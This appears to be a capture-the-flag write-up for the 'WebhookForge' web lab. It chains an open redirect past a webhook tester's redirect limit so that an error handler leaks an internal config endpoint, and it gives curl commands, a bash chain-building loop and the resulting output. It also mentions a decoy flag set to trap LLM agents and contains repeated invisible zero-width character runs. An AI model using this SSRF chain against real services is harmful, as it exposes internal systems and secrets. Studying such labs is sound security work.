← Back to Writeups
CUSTOMMediumWeb

WebhookForge

XESXOR9/10/20266 min read
#web#custom#medium#error_handler_information_disc#internal_service_enumeration#open_redirect_chaining#port_scanning_via_ssrf#redirect_limit_overflow#response_body_exfiltration#ssrf_via_redirect_chain#linux

WebhookForge

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-05 | Status: Solved Techniques: error_handler_information_disclosure, internal_service_enumeration, open_redirect_chaining, port_scanning_via_ssrf, redirect_limit_overflow, response_body_exfiltration, ssrf_via_redirect_chain

Summary

Task: Webhook management platform with webhook tester (SSRF), open redirect via link tracking, and internal config service on port 3001. Solution: Chain 5+ tracking redirects to overflow the webhook tester's redirect limit, causing the error handler to leak the response body from the internal /config endpoint containing the flag.

WebhookForge — HackAdvisor Lab 381

Description

WebhookForge is a webhook management and notification delivery platform built by ForgeStack Inc. Development teams use it to configure webhook endpoints, test their connectivity, track link clicks in notification emails, and monitor delivery logs. The goal is to find and read a secret configuration file from an internal service that should not be accessible from the outside.

WebhookForge provides a full suite of webhook infrastructure tools: endpoint configuration with signing secrets, a link tracking system for email campaigns, delivery log monitoring, and customizable notification payload templates. The application has multiple API endpoints, including a webhook tester that makes server-side HTTP requests and a link tracking system that performs open redirects. An internal configuration service on port 3001 holds the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Credentials: user@test.com / password123, demo@forgestack.io / demo123

Analysis

Application Features

FeatureEndpointPurpose
Dashboard/Overview of webhooks, tracked links, delivery stats. Shows API key
Webhook Endpoints/webhooksManage webhook destinations (CRM, backup, Discord, Jira)
Webhook TesterPOST /api/webhooks/testSSRF vector — makes server-side HTTP requests, follows redirects
Link TrackingGET /api/track/{id}Open redirect — 302 redirects to any destination_url, no auth
Delivery Logs/deliveriesWebhook delivery history with URL, status, HTTP code
Templates/templatesNotification payload templates with {{variable}} substitution
Settings/settingsProfile, API key, team members
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Tech Stack

  • Node.js, Express, nginx/1.25.5, WebhookForge v2.4.1

Reconnaissance Findings

Internal services discovered via SSRF port scanning:

  • Port 8080 (127.0.0.1:8080) — main application, responds 200 to /, 404 to most paths
  • Port 3001 (127.0.0.1:3001) — internal config service, /config endpoint returns 200 with secret configuration containing the flag

Key observations:

  • No SSRF IP blocklist — webhook tester does NOT block internal IPs
  • Webhook tester follows redirects but has a redirect limit
  • Tracking URL in API response reveals internal hostname: http://localhost:8080/api/track/trk_xxx
  • Decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in hidden HTML comments and invisible divs on every page to trap automated scanners and LLM agents ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability Chain

Three components interact to create the exploit:

ComponentRoleVulnerability
Webhook Tester (POST /api/webhooks/test)Makes server-side HTTP requests, follows redirectsSSRF — but only returns status codes on success, not response bodies
Link Tracking (GET /api/track/{id})302 redirects to any URLOpen redirect — no validation on destination URL, no auth required
Redirect limit error handlingReturns debug info when redirect chain exceeds limitInformation disclosure — error responses include response body that success responses hide
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key insight: The webhook tester normally only returns HTTP status codes in its success response. However, when it encounters a redirect chain that exceeds its internal redirect limit (overflow), the error handling code path returns debug information including the full response body from the last followed redirect. This is the "Redirect Chain Overflow" technique.

Solution

Step 1: Login and Reconnaissance

bash
URL="https://66331186-ef64-42bd-8a49-29cec7f31340.labs.hackadvisor.io"

# Login
curl -s -c cookies.txt -X POST "$URL/login" \
  -d "email=user@test.com&password=password123"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Discover internal services via SSRF
curl -s -b cookies.txt -X POST "$URL/api/webhooks/test" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:8080/"}'
# → {"success":true,"status_code":200,"response_time_ms":4,...}

curl -s -b cookies.txt -X POST "$URL/api/webhooks/test" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:3001/config"}'
# → {"success":true,"status_code":200,...} — but no body returned!

The webhook tester confirms the internal config service exists and responds 200, but the success response only includes the status code — not the response body. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Identify the Open Redirect

bash
# Create a tracked link pointing to internal service
curl -s -b cookies.txt -X POST "$URL/api/links" \
  -H "Content-Type: application/json" \
  -d '{"name":"test","destination_url":"http://127.0.0.1:3001/config"}'
# → {"success":true,"tracking_id":"trk_xxx","tracking_url":"http://localhost:8080/api/track/trk_xxx"}

# Verify it redirects
curl -s -D - -o /dev/null "$URL/api/track/trk_xxx"
# → 302 Found, Location: http://127.0.0.1:3001/config

The link tracking endpoint performs a 302 redirect to any URL without validation or authentication. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Build the Redirect Chain (Overflow)

bash
# Create the final link pointing to the config endpoint
RESP=$(curl -s -b cookies.txt -X POST "$URL/api/links" \
  -H "Content-Type: application/json" \
  -d '{"name":"chain0","destination_url":"http://127.0.0.1:3001/config"}')
TRK0=$(echo $RESP | python3 -c "import sys,json; print(json.load(sys.stdin)['tracking_id'])")

# Create chain links, each pointing to the previous tracking URL
PREV=$TRK0
for i in $(seq 1 5); do
  RESP=$(curl -s -b cookies.txt -X POST "$URL/api/links" \
    -H "Content-Type: application/json" \
    -d "{\"name\":\"chain$i\",\"destination_url\":\"http://localhost:8080/api/track/$PREV\"}")
  PREV=$(echo $RESP | python3 -c "import sys,json; print(json.load(sys.stdin)['tracking_id'])")
  echo "chain$i: $PREV"
done

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This creates a chain of 6 tracking links:

  • chain5 → chain4 → chain3 → chain2 → chain1 → chain0 → http://127.0.0.1:3001/config

Step 4: Trigger the Redirect Chain Overflow

bash
# Fire the webhook tester at the start of the chain
curl -s -b cookies.txt -X POST "$URL/api/webhooks/test" \
  -H "Content-Type: application/json" \
  -d "{\"url\":\"http://localhost:8080/api/track/$PREV\"}"

The webhook tester follows the chain of redirects until it exceeds its internal redirect limit. The error handler then returns debug information including the response body from the final URL: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

json
{
  "success": false,
  "error": "Too many redirects encountered",
  "debug": {
    "final_url": "http://127.0.0.1:3001/config",
    "status_code": 200,
    "response_body": "{\n  \"service\": \"internal-config\",\n  \"flag\": \"FLAG{REDACTED}\",\n  \"db_host\": \"db.internal.forgestack.io\",\n  ...}"
  },
  "message": "The webhook URL resulted in too many redirects. Debug information attached for troubleshooting."
}

Attack Chain Diagram

Attacker                    Webhook Tester              Link Tracking              Internal Config
   |                             |                          |                          |
   |-- POST /api/webhooks/test ->|                          |                          |
   |   url=localhost:8080/       |                          |                          |
   |   api/track/trk_chain5     |                          |                          |
   |                             |-- GET /api/track/chain5->|                          |
   |                             |<-- 302 → track/chain4 --|                          |
   |                             |-- GET /api/track/chain4->|                          |
   |                             |<-- 302 → track/chain3 --|                          |
   |                             |         ... (chain) ...  |                          |
   |                             |<-- 302 → track/chain0 --|                          |
   |                             |-- GET /api/track/chain0->|                          |
   |                             |<-- 302 → 127.0.0.1:3001 |                          |
   |                             |          /config --------|                          |
   |                             |                          |                          |
   |                             |-- REDIRECT LIMIT HIT! ---|-- GET /config ---------->|
   |                             |                          |                          |
   |                             |<-------------------------|<-- Config with FLAG -----|
   |                             |   (error handler leaks   |                          |
   |                             |    response body)        |                          |
   |<-- Debug info + body ------|                          |                          |
   |    containing FLAG          |                          |                          |

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍